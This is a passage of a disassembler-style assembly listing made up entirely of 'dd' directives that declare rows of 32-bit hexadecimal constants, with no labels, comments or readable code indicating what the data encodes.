		dd 0EDF46BA7h, 0EFF5DCh, 0A346B3B8h, 0CE13EB74h, 0AB176D18h
		dd 279429h, 76F7597Dh, 11473A58h, 71ECFE0h, 0B54044A3h
		dd 2D194BEAh, 6E9B0ECCh, 3E18264h, 0ECF273D8h, 0C00F891h
		dd 0AE939FB8h, 1BE586Ah, 3935E7D2h, 47A0C911h, 69C5A034h
		dd 0B700F4B2h, 0F57047F7h, 473EA65h, 24872A02h,	0DF5AC0CBh
		dd 90003316h, 0FB9247BCh, 36144Dh, 57E4EAFCh, 72527BD0h
		dd 7A3F1B00h, 79EC85D5h, 48A202BEh, 3EE9531h, 8A9B1E40h
		dd 0CC08B300h, 854937F0h, 0E0501FDh, 0E959FE4Fh, 0E1BCFD28h
		dd 0E6B4D853h, 6FDE6E03h, 0E03C50FDh, 14765AA5h, 20F8213Ah
		dd 0B083CCA0h, 0CF4E3F86h, 36D03300h, 8ABB471Dh, 506B2D30h
		dd 356A8CAh, 0F2804FB2h, 0D0971DBDh, 0B991FE4Ah, 0BE192900h
		dd 9BD9E60Eh, 94B80Fh, 3CD4EC37h, 3E7AF61h, 0BBBA7003h
		dd 0D8997EF7h, 3E21E4h,	10E0AB0Fh, 0D78880Ah, 0C2F79E00h
		dd 17D04A3Fh, 76422833h, 0CEF085h, 159D8961h, 7B5FA330h
		dd 0B5CC072Ch, 0A45BFF0Ah, 0C07E5780h, 50FE9F3h, 0A85C3353h
		dd 85D2001Ah, 502362CDh, 6E2DE500h, 7EA9BF79h, 10172A7h
		dd 0AA0EE19Bh, 0C029AD32h, 0DE7047E2h, 1807E57h, 391C7B45h
		dd 21A80A7h, 9473888Fh,	7C3FE076h, 0CF50C039h, 61AA5C46h
		dd 95471F00h, 0EBAE1211h, 0DFF40093h, 0DBB40AB9h, 8A00CE8Ch
		dd 4AF17E74h, 143EEC7Ah, 0A0A5D576h, 42D6F900h,	0DB0D2429h
		dd 9312DA00h, 9E23199h,	5B8F00E9h, 0DFB8E859h, 0C6783934h
		dd 195C4D00h, 0E50258B0h, 0BBAC1DAh, 873766A9h,	29061141h
		dd 0B63408C0h, 0AF823A54h, 64A80483h, 21B80C79h, 17F875B4h
		dd 0A2E76D00h, 37C25443h, 0DFFE1DEEh, 70683732h, 0A6A5B41Fh
		dd 0BFE6C006h, 0F2187D77h, 0D804AF24h, 0DA05527Ch, 76EA1035h
		dd 1C6CCF00h, 3E4823C1h, 1198F9F8h, 0DC13E8D7h,	28C0CC3Ch
		dd 4F0FB99Ah, 83CAACA7h, 0E5F5DDBDh, 53E13468h,	0A2050C5Ah
		dd 6053C87Bh, 0CFBC9704h, 0B89B10C3h, 1F7EB8E4h, 0F770610h
		dd 197D4FA7h, 1184DE76h, 8717E67h, 8A1E31C8h, 1D185EC3h
		dd 1B042168h, 5B45734Ah, 5F0C044Ch, 0D1E52025h,	533C4067h
		dd 9AE8B110h, 8520CB10h, 180A26B7h, 0EB880CADh,	7A084253h
		dd 43C73085h, 647BDC48h, 7F6F310Ch, 42CF61C3h, 196334CDh
		dd 33F62468h, 9719185Fh, 3104C08Bh, 0C8F3849h, 44ECB05h
		dd 2057CC48h, 0C5BB854Fh, 2950D31h, 0DAB47B0Ch,	42184C27h
		dd 0B49278BFh, 0C0302C2h, 483E87B3h, 22003D2h, 0E075B974h
		dd 0C0DB3518h, 0E371B419h, 7CF87615h, 0EC7A63Eh, 9FECB7DCh
		dd 208AB189h, 49282000h, 9D520063h, 0CF78A612h,	0E41FD36Ch
		dd 0F54F2633h, 0D7A10032h, 72EB336h, 0DA5B27B4h, 81CB4492h
		dd 0D414061Ch, 0B0A07AABh, 0E25441ACh, 2D004FC8h, 3DCA097Fh
		dd 6DB939Eh, 42E177E9h,	0BB06046Eh, 790F1EB2h, 3AEAA1h
		dd 52B60926h, 50C87A8Ch, 2747FC18h, 5C132588h, 121E2110h
		dd 0E02BC179h, 83B9A8BFh, 0B19445C8h, 1CD8478Eh, 509B50C7h
		dd 0F9AC5E15h, 48B18760h, 0F038AD6h, 0BADA7F35h, 7BACCF20h
		dd 0A101FF78h, 0FC1AC379h, 5880231Bh, 2CAF56B3h, 6D00917Dh
		dd 0B0B26CFEh, 1401D9A1h, 0C83F7B39h, 8695A980h, 0A0637F5Bh
		dd 0A0FA8250h, 18D7F5D3h, 29150819h, 0F005E77Fh, 0F382CDBDh
		dd 0B2CC3407h, 0A0C8CBA3h, 0B0EAD375h, 0D2860E2Dh, 3C208A2Eh
		dd 0B7407B63h, 1E95C800h, 6220EA83h, 0B316075Dh, 60893565h
		dd 0F347C397h, 0B85CE030h, 5C9DF68h, 0FB4EE553h, 369C0060h
		dd 0AD9397CAh, 0E914C601h, 0B3F3C7C5h, 911834h,	0BA72AB69h
		dd 0E2865FD4h, 88802F69h, 4D04683Eh, 0E6826377h, 409460h
		dd 99578EE0h, 12EC0E19h, 56797879h, 0F5FE5800h,	17535A54h
		dd 2523A41h, 8754A6A4h,	0D2019278h, 0A080B61Eh,	76133A60h
		dd 6BE4C809h, 0B60A3A3h, 0D386C090h, 3F18C324h,	0E1E04CCEh
		dd 2103C7B0h, 54D157A9h, 0AAD014ADh, 206C80E2h,	96B84018h
		dd 5D1D52F8h, 0CF84BBEh, 29AC9226h, 96BB1EAAh, 8E84296Dh
		dd 84BC7E8Dh, 80A18AAEh, 0D094253Ch, 7097BF00h,	2B6214CAh
		dd 3CCB00E9h, 0FF7A6B74h, 98C436B6h, 0CC883E89h, 0FAD413B8h
		dd 154400F5h, 0BC61D579h, 382C1404h, 0A0870E2Eh, 2DD3BAA0h
		dd 788A0D1h, 4890A2h, 7E13A865h, 664B951Ch, 0E4845251h
		dd 140EB30Eh, 8382E9D0h, 0F0B79AADh, 630422h, 0DEFACBB1h
		dd 6B95AFBDh, 0B21ACF03h, 0C836CC79h, 0C1298Eh,	7F142426h
		dd 84594D75h, 36BCF250h, 0CDC21A00h, 3C60E0EEh,	94230E2Ch
		dd 79E1F913h, 24F74F54h, 0D5409F98h, 41CE0926h,	5889D84Dh
		dd 0F4A0802h, 0C24ECF00h, 0FF7067h, 0FAE61950h,	965E2E60h
		dd 752A6BFCh, 0AA06C83Ch, 176C65C6h, 60ADF6E9h,	0A831B0BFh
		dd 0BE2BF9D8h, 0A20130DAh, 1443D54Eh, 7707EB18h, 6C4CC874h
		dd 706C2039h, 3027D5E2h, 0E35612F3h, 0B008941h,	662FC81Ch
		dd 1DD14647h, 954DC20h,	9CACC1CDh, 23BAA70h, 0FC04BD16h
		dd 0DCC07F24h, 0B540E667h, 0C887CDh, 67773A1Fh,	0A5225E6Bh
		dd 66CBE48h, 0B74CB127h, 0BCBB0051h, 9495B6A0h,	0FE13ACFFh
		dd 246026C6h, 89EA4Fh, 8E777F0Eh, 5295B2AAh, 6BAE540Ch
		dd 0D4481Ch, 0F00A6F22h, 3B8B5945h, 5CC76404h, 8CCBD0E6h
		dd 6A30AB04h, 55EF009Dh, 0B2BBFF56h, 150AC0Ch, 3BA86C3Ah
		dd 537A1B03h, 33E82D48h, 1F00AE83h, 0E9CBEA0Fh,	19C9DA5h
		dd 0DE40A9ABh, 240294CFh, 0D90065C4h, 10483EBh,	76FB3B2h
		dd 0BAABAB4h, 4838EB20h, 8400B75Bh, 0B89F2D12h,	0B2279382h
		dd 0E0A20624h, 0F0FE3F3Ch, 18F03B12h, 430DA848h, 248A280Fh
		dd 0D3C4A7h, 0E03954FAh, 0AF0B4202h, 600D65CFh,	4F62E40h
		dd 4341ED10h, 0CC08909Fh, 210030AEh, 6CD612A4h,	160B7086h
		dd 3A9B72h, 0E4821584h,	56016048h, 66CCAD1Ch, 308355BCh
		dd 0E2E36979h, 0AE146871h, 92CB15Eh, 20601B70h,	0D1372F34h
		dd 15BEF6ECh, 0D0E7E834h, 0F1A88B00h, 9F09EDC5h, 0A5773276h
		dd 0A4D341C0h, 60382486h, 73BC11CBh, 0C846AB4Fh, 4CCBE608h
		dd 202F3240h, 1B790186h, 6F17AC30h, 55BFD029h, 748EA70Ch
		dd 2408Fh, 7A737BFFh, 2AEF680Dh, 0FE7538h, 4539ED0Bh, 4A57EFDh
		dd 0A073F140h, 4C6CD243h, 55872851h, 60B33231h,	95190112h
		dd 4D85DBF0h, 9364707Ch, 1D04C49h, 0B7D5FB5Dh, 40808ED3h
		dd 0F422E3C5h, 0CB3F0339h, 0DD678ADCh, 4F00E8CEh, 0D09BEF72h
		dd 16A300BEh, 0E3D75C83h, 6D097DE9h, 38646854h,	54CFFB20h
		dd 924DC8ABh
		dd 189F9078h, 0B19A2280h, 1D0E769Ch, 49BA604Ah,	6CFB022Ah
		dd 9F88403Fh, 40E20037h, 77B8B1Fh, 0B7061108h, 75EBECD5h
		dd 0BBF10051h, 96E377B1h, 0ED078A08h, 0E2CDBEFBh, 95AB0C80h
		dd 77AA0025h, 2BA1039Ch, 30A08B2Ch, 7462739Eh, 819FA788h
		dd 4B592048h, 1D8688F0h, 8045F9D6h, 4312E951h, 0A60F7135h
		dd 3275E454h, 0C9BC3000h, 88B9F3A3h, 0A1281F5Bh, 0A919E543h
		dd 950921A8h, 5BB2180h,	5E604742h, 2BC7E00Eh, 0F80980EDh
		dd 638B79F9h, 0A0972898h, 0D6F3100h, 8FC35BABh,	2334005Eh
		dd 396C7AFCh, 17265790h, 0A926BA94h, 0C0EFE30Ah, 0C70EAA26h
		dd 0D9088096h, 7194D11h, 41C06598h, 0B91C207Ch,	1DB00E97h
		dd 8B34DC17h, 867B7600h, 5D61C9F2h, 280044BAh, 2C36988Ch
		dd 0BC012575h, 0FD7E483Dh, 2081E131h, 0D4308C05h, 1307E45Ch
		dd 0DF6A5202h, 7661B45h, 17CC1027h, 55029E34h, 5D6E6401h
		dd 0A3876091h, 9FC500BFh, 6F1B3811h, 0F1C68EDFh, 4102BAh
		dd 0EA1F83B2h, 2405EED6h, 0F37D520Eh, 0CDE56038h, 482D0F64h
		dd 78656607h, 0EB11C0D3h, 0AC0008D1h, 2E5F0E3Ch, 1FB9A435h
		dd 0BBA884h, 0E2D00BE3h, 4600EB11h, 8DC9870Fh, 67C051h
		dd 0F4E84B89h, 882B35BBh, 7E707801h, 0C984CD98h, 1B17ECh
		dd 190C3D1h, 442A4F10h,	3311961Fh, 0A8A59EC0h, 22031Ah
		dd 0D988657h, 0CE2AB6F0h, 4E93F01h, 0D12E0FF7h,	0C3C0C4FDh
		dd 0EF543EADh, 30531F01h, 4042D3FEh, 7C3245ECh,	6FAB0126h
		dd 6851FF00h, 0E0A2F159h, 5B1F00E8h, 0F8194E78h, 88010C2Ch
		dd 0B542BF3h, 60CAC2B7h, 0B246D4h, 0FF838D9Ch, 0D3E6EAE2h
		dd 0E4840900h, 0A261DE91h, 55DD07B0h, 208FA318h, 0D7170143h
		dd 0FD243600h, 869A3A13h, 392F0059h, 9CF98A9Dh,	4300D1EFh
		dd 2774E791h, 3C0F23E9h, 5F800414h, 13D74D2Fh, 410763DCh
		dd 0FDD5325Dh, 90FAC293h, 422848h, 2F4773Ch, 907B5F35h
		dd 0D696BC00h, 9854A9EBh, 716400AFh, 3B78FA87h,	0A00019E2h
		dd 0F62EDE5h, 30030435h, 5750AA39h, 0A70069EAh,	511D5F3Fh
		dd 76FCF9h, 9210230h, 1EEF0B78h, 0B2CAFB00h, 28BF96C0h
		dd 41C205FFh, 0C35FFAA9h, 4098061Fh, 8DFF711h, 70BF8001h
		dd 0EBCCF555h, 86710014h, 0C297EA65h, 181B947Dh, 0A839BD3Dh
		dd 0F0B80A5h, 42454627h, 75C69E0h, 600066AFh, 64A3A0B3h
		dd 0B7C93Ch, 1B012031h,	50EE0274h, 88177D37h, 0E668B8C0h
		dd 61578AAh, 2AF935EAh,	1000308Ch, 65799F87h, 30B0FB2Bh
		dd 0FE78DDA5h, 480F314Fh, 622753h, 7950D63Bh, 0CAA31D38h
		dd 0F2113015h, 87FE0BA6h, 93007C78h, 70FB22DFh,	0E034E9F8h
		dd 202652BAh, 2C81EE07h, 76AF4078h, 0D0006B7Ah,	0D5DF408Fh
		dd 9851118h, 3BDA2B44h,	0E366EF80h, 80762AAAh, 5D2028C0h
		dd 0B89DBB88h, 0DE08CA9Ah, 8157601Ch, 0EF5288ECh, 0C406030h
		dd 74607D61h, 35D150Dh,	0A19F38D4h, 0C463204Fh,	8799D84h
		dd 0DF30C503h, 44E73C58h, 0D93B80C0h, 684FAB8Fh, 0E9028884h
		dd 0A028814Ch, 8694BF00h, 0B854A4BDh, 3A4A0ADDh, 0CC50F0C7h
		dd 0D023FC68h, 6D1838C3h, 0D5ED4095h, 713068ADh, 15A9ADE0h
		dd 64453D86h, 0EF8B5CC2h, 2B684030h, 80186122h,	0E9B2F283h
		dd 0CCA0D24Dh, 0C72B33D7h, 0EF0344D0h, 0B835A802h, 8981C8A1h
		dd 0F08AC880h, 0DC58B00Eh, 0B082AAE7h, 0C727C285h, 70BFB42Dh
		dd 68D7F814h, 0D00A6087h, 0DE79D0F0h, 2510E718h, 34B2B048h
		dd 7210C732h, 0CA195048h, 802FC000h, 6B67F071h,	7CF19DF0h
		dd 10CDDD76h, 0D904A0E3h, 805D38BBh, 6250CEA9h,	513C922h
		dd 0A29EA059h, 88A02D89h, 0EE805888h, 8C350Ah, 767E6610h
		dd 0CE008D3Dh, 2D7490E7h, 3C41BD61h, 0DD1DF54Bh, 46100051h
		dd 6B9D766Dh, 1E200C63h, 0DCC02411h, 541D1428h,	336C82A0h
		dd 43E0198Ch, 8A427874h, 84597008h, 60EC1D0Eh, 1505D76h
		dd 0E128F8C5h, 29EAB043h, 0C2F8BD60h, 6C989678h, 6776C640h
		dd 0A9D21000h, 0CBB830F2h, 0BB7037E7h, 16FAC208h, 0B037CC47h
		dd 20706FE4h, 84A15D9Fh, 4AF857DEh, 77E0E144h, 50801847h
		dd 5D0A0F1h, 0A8C9B030h, 94902DDCh, 823839C2h, 41755660h
		dd 184DD504h, 50C151D0h, 28D08FDh, 1E63C9CAh, 0B7E058D8h
		dd 54996125h, 0AD3A160h, 28886089h, 0EEB49B40h,	9F60A091h
		dd 0FD98E1C4h, 5A202880h, 40F0F54Fh, 90CA4E14h,	0DADA0F0h
		dd 4E71296h, 0D63006B4h, 857EF05Fh, 3C185CE9h, 8B4BEE0Ch
		dd 126060FAh, 2CF5C520h, 0A10E6370h, 0C34EFE54h, 52C2C058h
		dd 7DC5B058h, 42BAC496h, 0D3E3A080h, 0B2043C94h, 8BC7063Ah
		dd 0D0EF011Ch, 0A41CB0F5h, 0AB588080h, 7EB43073h, 0F4DFE031h
		dd 0FB30E409h, 26DC00FEh, 3A50F3AFh, 605795CCh,	0C29FB301h
		dd 40DB9892h, 0E40D10B8h, 0D505707Fh, 1379F0CAh, 192BA801h
		dd 0D82250F5h, 15DD5D80h, 0C4A8F188h, 94A7B36Fh, 0B12C4003h
		dd 1828C6CEh, 0D0B23780h, 18A5BD93h, 3DC5BB0Fh,	6006F790h
		dd 90E409A0h, 10140874h, 0E0A0EDBBh, 0F2DC262Ch, 0C0F4A023h
		dd 0CA640213h, 0F0FB9750h, 3A420216h, 0C99DE40Ch, 62CFCC81h
		dd 0C19C22CAh, 7601A3D9h, 302929B8h, 0A14A8110h, 84D445h
		dd 0A3F849E0h, 0CAEA91DCh, 0A2D60E0Bh, 0B77F8563h, 0D8CBBC0Ah
		dd 5E607429h, 202FECE0h, 6315C873h, 0C150E4F5h,	41E2A726h
		dd 802805C7h, 70F5BC73h, 0C6B18C28h, 60C9F963h,	90EEA0A1h
		dd 766B050Eh, 6A7E91Dh,	8A4A8F4h, 3ED16F20h, 3C574A23h
		dd 2A0CD239h, 0C05086BEh, 0F2A33507h, 0F05A2410h, 0D0405018h
		dd 0CA540560h, 384A2A70h, 310AEEF8h, 0C4928AB7h, 0F2929C9Ch
		dd 581CA42Ch, 296E0127h, 84D9FD00h, 0D3527C5Dh,	0B4E58050h
		dd 0A0EA68DCh, 486DE0B4h, 96131C88h, 7E7438BFh,	1B0DA400h
		dd 2C86B7DFh, 40F40789h, 40F3B5F7h, 58299BD7h, 1416771Fh
		dd 0FA36BC40h, 4EF759h,	9C7CE951h, 7DCFDBBh, 0D733AB00h
		dd 5B46ACCAh, 153D01FFh, 3EBB1D96h, 86CEF49Bh, 0FECF4C00h
		dd 1A81758h, 0ACFC01DEh, 0E59CC95Fh, 1D7CE008h,	5C000D7Ch
		dd 974F8018h, 0EA2F12h,	0FB65901Ch, 0E952263Ch,	66B8BC1Eh
		dd 8377C1Ch, 0C0677083h, 9415Ch, 3FDB57A5h, 0D13277A6h
		dd 584810CFh, 0DC52FB0h, 64909CFDh, 0C0E50710h,	4248F0FCh
		dd 0DD155777h, 8164BCDBh, 0B1F8ABB0h, 4159EC11h, 0BA1CF790h
		dd 634107D0h, 1716774Fh, 644631E0h, 803C51A0h, 0E88B02B8h
		dd 146ECBBCh, 30C9DCE9h, 26E601C0h, 86FA0376h, 0D0380C3Dh
		dd 2A747FBCh, 0C417D701h, 54E47CD0h, 0F8D18C40h, 63C5E859h
		dd 70947867h, 0BE3ED7E0h, 613D1F03h, 0B9B7A56Dh, 84D35825h
		dd 0D79C79C1h, 0D833C4Ch, 9F64BF13h, 2092F9D8h,	6C611700h
		dd 2E569708h, 885F8840h, 7E3C28E8h, 0EA9C02B4h,	0CF97427Bh
		dd 51702898h, 62400676h, 20F648CCh, 94D0973Ah, 0D81C61D7h
		dd 2865B7h, 1C9664Ch, 4F736CFCh, 8C6F8257h, 2822C7C8h
		dd 0F708C203h, 1840D83Bh, 0F407125Fh, 0D0CE7B3Ch, 0DDEC3941h
		dd 108770F1h, 21F1591Ch, 448829D7h, 6D8C594h, 0D0F7195Ch
		dd 600DB931h, 17D00E24h, 2877881h, 59F205B7h, 0A481CF77h
		dd 20654637h, 8A66FF4Ch, 0F8589D48h, 0F42D3EEAh, 0D0E16902h
		dd 8C4360FCh, 838CFEA1h, 4F76A118h, 1F10A6F7h, 67441DCh
		dd 8813EE7Ch, 58FD2E01h, 0D0DFB057h, 0A30E51E0h, 875BDAF4h
		dd 14487BE4h, 1714F0D6h
		dd 57398886h, 9E9718E2h, 703C9C40h, 37183490h, 5C400F8Eh
		dd 0E4B8C503h, 88006F9h, 0E6F6820h, 18201F08h, 30FCC637h
		dd 0A8CC5E76h, 33575890h, 0E4085D8Fh, 0F5377012h, 4BD2D05Ch
		dd 18C0000Ch, 810BEE17h, 0EF098964h, 5A7402CCh,	0D7D441F3h
		dd 48A00C34h, 0AD1D7853h, 85FC0089h, 0DDD149Ah,	0B9185063h
		dd 345CE154h, 0E87C8C20h, 2EA7810h, 57A624B3h, 0F4405DC5h
		dd 50CC588Eh, 48790986h, 0AD19F46Ch, 0F7F87833h, 0D95B1CE0h
		dd 0DCBD1F24h, 1F03350h, 0CF7C9FCCh, 20166C86h,	10547728h
		dd 249272F4h, 0FCE83260h, 3DDCE28Ah, 0F8EE427Ch, 5CF41700h
		dd 0EC901006h, 0B0F33128h, 0FC763E28h, 0E1E87351h, 21218A7Dh
		dd 8E12A40Fh, 49F73402h, 0AC304185h, 2A1070A4h,	2F9303DCh
		dd 26EADCDBh, 58214037h, 305007F6h, 10697CF7h, 0BC24C96Ah
		dd 0DC0A64D6h, 4898E454h, 90B11C10h, 0FCBC3134h, 205FC491h
		dd 0F4A3CB14h, 0F08368A2h, 91877B7h, 5C205A88h,	49349059h
		dd 6B197034h, 348B3016h, 362653Ch, 6F9BAB0h, 37123013h
		dd 0CC0927DFh, 177883CEh, 8D06C4A7h, 2E8605Ch, 731CDE01h
		dd 0B33CC960h, 646050A8h, 80FA5817h, 0B7BBBC1Ch, 0A097A53Ah
		dd 0E4E84C29h, 222FC12h, 5BE03C08h, 63DE0040h, 9865E2E9h
		dd 3A81C500h, 0ACD906Ch, 2BF78C86h, 0B0A1189Ch,	8748F6B7h
		dd 1C9F2930h, 4A36A382h, 2C786827h, 97C0A04Eh, 0A6400B89h
		dd 202E5D37h, 7CF00B80h, 20A4AD7Dh, 8F29710Eh, 4C78B860h
		dd 0C9C72B49h, 986D8134h, 9937A8h, 0E2C93EECh, 0AC884C7Ch
		dd 0F3D9570Ch, 0F4A02C08h, 1850AEB7h, 20FB62F0h, 18989644h
		dd 707A3C26h, 74E8263Ah, 50147391h, 7431E086h, 34499740h
		dd 0F54A474h, 20C50EFCh, 0D406091Bh, 2468FB0Ch,	1834F040h
		dd 0E037F8CAh, 443893FDh, 876A7844h, 4F04C04h, 540C29C5h
		dd 0A34DFC60h, 49B12278h, 3024580Ch, 0D0243A00h, 44AD9784h
		dd 874ABD18h, 78AA59A4h, 5677923Ch, 542C144Ch, 1885D718h
		dd 88984517h, 4C535738h, 15931074h, 6056B12h, 98FA0440h
		dd 0F7E02363h, 31C901AFh, 0CD3CDBBDh, 3EA4403Fh, 9C18DE03h
		dd 0EE48023Bh, 8190C41Eh, 0EFC8C32Eh, 0D931087Ch, 0E86C182Dh
		dd 1CF5FC21h, 0B20F1085h, 5E18C3DBh, 987DA826h,	0A049CB91h
		dd 73143374h, 78129798h, 7004EF9Ch, 6C81D8DCh, 0A7EF617Ch
		dd 8C047C5h, 7850541Ch,	2AFA31E9h, 346FA420h, 68985674h
		dd 17501B3Ah, 1C45D9DCh, 50C25335h, 0BC80EB93h,	0C4BACD3h
		dd 3B1D9C10h, 5E03B138h, 0C48F5CE9h, 37C2A1FDh,	0F5E7C0F3h
		dd 0B7DC24F1h, 0D2DF80A4h, 0A7191D1Fh, 2CB0A65Ch, 6A0EE49Ch
		dd 9B178075h, 21D11E5h,	3D14D08Fh, 0E08FDEA8h, 1C83314Eh
		dd 10123635h, 5404D253h, 881A14Fh, 45F2B142h, 0A8338198h
		dd 29373BEh, 1E4450Ch, 799A7819h, 0F97C71C6h, 0B71470EAh
		dd 51CFA5Ch, 0E8804F37h, 0C303C8CBh, 6D2F3C92h,	75CC3809h
		dd 49A80EF5h, 0E87C0584h, 5F428045h, 203FBC0Ah,	85E68760h
		dd 31E49258h, 0F770956Ch, 0DC1C30F2h, 33A87E02h, 6061DA97h
		dd 74FC2E08h, 460ACB7h,	89DBECEAh, 8CF48092h, 0C91AC81Dh
		dd 87C8D6DCh, 0BC72E7B0h, 0B70CE1D7h, 0A58AC072h, 264420A5h
		dd 2C0C842Ch, 0B8A05BACh, 6E62D46Bh, 0C0554CF0h, 988D97C8h
		dd 0B1772CC0h, 1F9397FCh, 67220C54h, 74908688h,	0D8A5BC26h
		dd 0FAE8F706h, 0CCAE4D28h, 8608D637h, 6F01899h,	17251498h
		dd 67CC00C2h, 2437A508h, 934C8D7h, 1C023FA1h, 0C8C05953h
		dd 50908118h, 1230AE48h, 0C481711Ch, 308A3A91h,	0BA06066h
		dd 0D01CDACBh, 5AEC4006h, 90D80E1Bh, 0F7C8C472h, 82CD27Dh
		dd 917758C0h, 372C50B0h, 0DC0B141Ch, 0C348AADh,	10E76258h
		dd 120187F0h, 0E049190Ch, 94940B31h, 34CA0480h,	44ADA5F9h
		dd 0E8856E10h, 0CC81828h, 38707A05h, 1F28CC28h,	0AE00A804h
		dd 0F8DCE90Dh, 0F87CFDBAh, 38DE48D8h, 4DFBDB0h,	0B983F110h
		dd 1290C628h, 380FE1BCh, 0B210562Ch, 78856CF1h,	0AAC805B7h
		dd 227C2864h, 9324F671h, 0E38224B5h, 14FCC9B0h,	8C2ED074h
		dd 4C8A88A7h, 170CFCCEh, 503C90EAh, 509CEC31h, 27DD874h
		dd 9D11E45Ch, 88C70C15h, 5449082Dh, 0A4C4EC0Bh,	0F0D1332Ch
		dd 7C207128h, 8635CC7h,	1876EA18h, 0EB01819Ch, 0A8EC515Ch
		dd 1089B4D7h, 4424F43Ch, 8568B007h, 763AA49Ah, 333C3CF5h
		dd 12461027h, 6C2BC18h,	894FC04h, 402C9C24h, 0B8064C93h
		dd 0F81072BCh, 905D4C1Eh, 9CE326h, 0EA2B107Ch, 8A3CBBDCh
		dd 6EC71DE8h, 281FFC06h, 5EF426F0h, 89BF0C04h, 545CE508h
		dd 0C0D9264Ch, 6FEC5C06h, 64482008h, 14B0F606h,	2638F05Dh
		dd 89D401FCh, 58033E95h, 781B3F6Fh, 9C106B9Bh, 0FEAE3C02h
		dd 94D710C1h, 1CB41819h, 48EEA85Ch, 83458D0Eh, 0C1234A17h
		dd 9C715F77h, 0E9B8CDE0h, 0C63DAFD8h, 30291338h, 400D0533h
		dd 77201996h, 28970807h, 262858D0h, 9F0C88CCh, 7420502Dh
		dd 0B6B7302Eh, 67969C20h, 83CD0982h, 12D61918h,	0B702740h
		dd 5402A23Ch, 0A88374FCh, 80C1CDCh, 0E050AC9Ch,	185B628Ah
		dd 1460466Eh, 0C0A132B4h, 30C8BC66h, 113C202Ch,	54189867h
		dd 50F7E0AAh, 984DE80Fh, 0BAC0EE30h, 6ECA31C0h,	8C584130h
		dd 706F3D08h, 0E29CA3D8h, 9D544162h, 6F9EEC22h,	9C4C540Ah
		dd 24042E0Ch, 65765800h, 0AFB5508h, 1F904CFh, 9E38A2DEh
		dd 9AAAC4C4h, 0A2CC9C91h, 3303144Bh, 0A6442AB7h, 0FB6C7818h
		dd 98C8BC28h, 0E2188EA8h, 24B6904Ah, 16F4B655h,	7C1806FAh
		dd 0E8EBB019h, 6890F413h, 47C828A9h, 8DBCE98h, 1120EBE3h
		dd 609C18BFh, 0C35A1880h, 57BCFD14h, 301778A4h,	0E00BDDEAh
		dd 0C8E40135h, 485CCA8Dh, 0C6491E19h, 2CC0F192h, 226871E6h
		dd 22B4C024h, 40B6012Bh, 4B06C6B9h, 47F6DCDBh, 0B88D6008h
		dd 0EA287CFCh, 0A02790h, 41ED2CD7h, 21E132FCh, 34E1C298h
		dd 802C327Dh, 3C5AF788h, 0E9B7409Fh, 1CF41B05h,	0E4040CCFh
		dd 4483C754h, 26F87CC0h, 920F764h, 0EC051076h, 9C4883F2h
		dd 34640C48h, 9C8BF081h, 163C5603h, 0C812EAF2h,	64C3050Ch
		dd 99A926EDh, 3BBC0688h, 58260881h, 0A517305Eh,	0F428A452h
		dd 0AF3B0948h, 0C48FB751h, 808222C9h, 0D0A6EAF7h, 0A88550E8h
		dd 65BE84B9h, 309270A9h, 17CC9F4h, 6E239700h, 0E20A38C9h
		dd 78DC14F0h, 0FC2B22B9h, 10A66C7Fh, 2C22FA7Fh,	0BC8C1851h
		dd 481F606Fh, 60964274h, 88A0BCE0h, 2CC9C27Bh, 0FC068731h
		dd 0D8175230h, 27852C8Fh, 4C409092h, 60C48025h,	811E5Dh
		dd 7C4A5BF9h, 50226B06h, 0EC209968h, 79B712EBh,	2164050Fh
		dd 0C098A253h, 470A257Ah, 1FCE40A6h, 0D0F0C96h,	0E02D5641h
		dd 0A2E8A4F5h, 0FDF183ADh, 0D59070C7h, 80857098h, 55BBA381h
		dd 0CC00BEEFh, 0B081565Dh, 48DFBC74h, 990B6818h, 8C16E952h
		dd 0EEDBD32Eh, 2CC8C215h, 0DC0958A0h, 3C88804Eh, 0B9DBDEF9h
		dd 0EF416E14h, 207D88E6h, 39298C04h, 3BC0805Dh,	404E9A61h
		dd 95152C9Fh, 0C014FB3Ch, 922AB076h, 594C8038h,	8C2C534Eh
		dd 383B1593h, 0EC3A90CBh, 0F17C2864h, 6D7FD0C4h, 6028A54Ah
		dd 1A9B0AA3h, 8CC4F539h, 0ADB0657Eh, 6E908CE9h,	7451F82Fh
		dd 0C0AC9926h, 3120C0EEh, 7B1B33Fh, 1CEBF893h, 909A08E9h
		dd 0E24F6D58h, 0BC9C0027h, 0D5D7CCB1h, 0F1337A5h, 0F88BE95Eh
		dd 71AB047Eh, 8BB1B884h
		dd 0D1BE038Ch, 14DAE536h, 0EC498C20h, 0CA9712h,	0AC81724h
		dd 60FFD7A5h, 0AD333CD0h, 388C20F0h, 94D18809h,	0FDFF7F4h
		dd 0DEC71DBCh, 0D0C93B00h, 1F262FFCh, 52583CF4h, 0B48418E1h
		dd 752C7885h, 39606C60h, 32F7A5D1h, 0C780B3Ah, 2CC1F842h
		dd 0CFD4209Fh, 2E4BD78h, 0F733AB02h, 0C0C950D6h, 9DBE010h
		dd 0D0B9D7BCh, 0A714B416h, 86B46662h, 34C0F94Ch, 3008D7F7h
		dd 0CD5444ECh, 9633BC00h, 0C9CAA5A0h, 0EF120069h, 8CC79166h
		dd 470077CBh, 0ABF23814h, 41D0B6h, 765AA3DDh, 354FCA17h
		dd 0FC735501h, 43A80778h, 268C1448h, 0E1B53Ah, 0BB564D09h
		dd 2500D461h, 0C5C6BE2Ah, 4A1D02F1h, 0E85FC0Bh,	418B06A3h
		dd 4D087684h, 58E61CCh,	0F85825C6h, 7B14401Bh, 38F5D8A1h
		dd 164C1408h, 4850831h,	654403E0h, 366240E5h, 0C6912D1Eh
		dd 5C02473Eh, 2AAA4988h, 8F93D601h, 9B06504Ah, 79C9D8A9h
		dd 0A252F604h, 0D12865C6h, 7F72370Ch, 0A96C873h, 45CDDFC2h
		dd 209AC33Ch, 50E6C6DCh, 0E47AB60Ah, 41EE78CDh,	4B10050Ah
		dd 40565082h, 64B8D4C7h, 0D615BE31h, 0AA06163h,	3CEA16ACh
		dd 96981FE0h, 3DC628E4h, 3AC403A0h, 630965E6h, 0D41185A1h
		dd 4903C5E7h, 0F5258975h, 5945A069h, 78E65733h,	14FFCF07h
		dd 80B4AAEDh, 0E437A0CBh, 0E60C3FE9h, 486AFD25h, 0EFB03C33h
		dd 192B3D10h, 3470418Ch, 0E0E5C3EFh, 1F841D7Ah,	0E89665Eh
		dd 0A584800Ah, 0B49C7002h, 4FDD3097h, 0C37FD6E8h, 0C7D8D452h
		dd 0DFB60D64h, 0C7F61229h, 8A2838C2h, 15F4500Ah, 961E88CCh
